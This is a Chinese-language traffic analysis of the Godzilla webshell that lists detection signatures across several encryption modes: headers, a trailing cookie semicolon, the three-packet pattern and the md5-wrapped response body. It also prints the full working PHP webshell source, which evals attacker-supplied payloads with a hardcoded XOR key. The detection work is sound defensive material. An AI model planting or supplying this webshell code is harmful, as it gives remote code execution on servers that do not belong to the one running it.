哥斯拉流量特征
.php:
eval_xor_base64加密格式下连接时会发送三个数据包:
首包post数据挺大,返回包内容为空。且包中的eval函数和base64加密函数挺明显
剩下两个包请求体小,一个返回数据为加密后的ok,最后一个是返回加密后目标的基本环境信息。
发送的数据包请求体特征为两个参数pass=和key=,这两个参数应该是对应木马生成时设置的密码和密钥。
特征总结(使用的狐狸说安全的哥斯拉工具):
1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)
2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)
3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)
4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
参考:https://bbs.deepin.org/post/271510
哥斯拉明文php代码:
@session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息
@set_time_limit(0); // 设置脚本执行时间不限制
@error_reporting(0); // 设置错误报告级别为 0,即不报告任何错误
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15]; // 根据密钥中的字符来加密数据
$D[$i] = $D[$i]^$c; // 使用异或操作进行加密
}
return $D; // 返回加密后的数据
}
$pass='key'; // 密钥参数名 客户端设置
$payloadName='payload'; // 载荷参数名
$key='3c6e0b8a9c15224a'; // 加密密钥
if (isset($_POST[$pass])){ // 检查 POST 请求中是否包含了密钥参数 kay
$data=encode(base64_decode($_POST[$pass]),$key); // 解码并加密传入的数据
if (isset($_SESSION[$payloadName])){ // 检查会话中是否存在载荷数据
$payload=encode($_SESSION[$payloadName],$key); //解码 输出
if (strpos($payload,"getBasicsInfo")===false){ // 检查载荷中是否包含指定字符串
$payload=encode($payload,$key); // 判断是否被解码,如果否,解码
}
eval($payload); // 执行载荷中的 PHP 代码
echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分
echo base64_encode(encode(@run($data)/**这时候经过了gzip编码**/,$key)); // 对传入的数据运行,并将结果加密后输出
echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分
}else{
if (strpos($data,"getBasicsInfo")!==false){ // 检查传入的数据中是否包含指定字符串
$_SESSION[$payloadName]=encode($data,$key); // 将传入的数据加密后存入会话中
}
}
}
xor_RAW加密格式:
php中xor_RAW加密格式的流量更加隐蔽,全部是不可识别的字符
连接时一样会发送三个数据包,且后两个数据包比默认的base64加密方式简短很多,且乱码。数据包中看不出参数与密钥对应结构是多少。
特征除了乱码外,与eval_xor_base64一样。
1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)
2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)
3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)
xor_base64加密方式:
基本特征不变:连接时发送三个数据包,首包请求体较大,后两个包请求体较小,请求体中参数名称就是生成时设置的pass。
后两个数据包比默认的base64加密方式简短很多。
1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)
2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)
3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)
4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
总结:
1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)
2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)
3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)
4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
5.基本上无论哥斯拉生成的什么语言的木马(php,asp,jsp,cs),连接时都是发送三个数据包,第一个数据包请求体明显大量,后两个明显较小,且第二个数据包返回内容为加密后的ok,第三个数据包返回内容为目标的基本环境信息。
6.哥斯拉流量中除了xor_raw加密方式(该方式流量中全是乱码),基本上都会呈现出形如pass=WwSelqL9JENiXyh3的格式,该格式下参数名为生成木马时设置的pass。xor_raw外的一些加密方式(eval_base64)会在流量中看出eval和base64加密函数。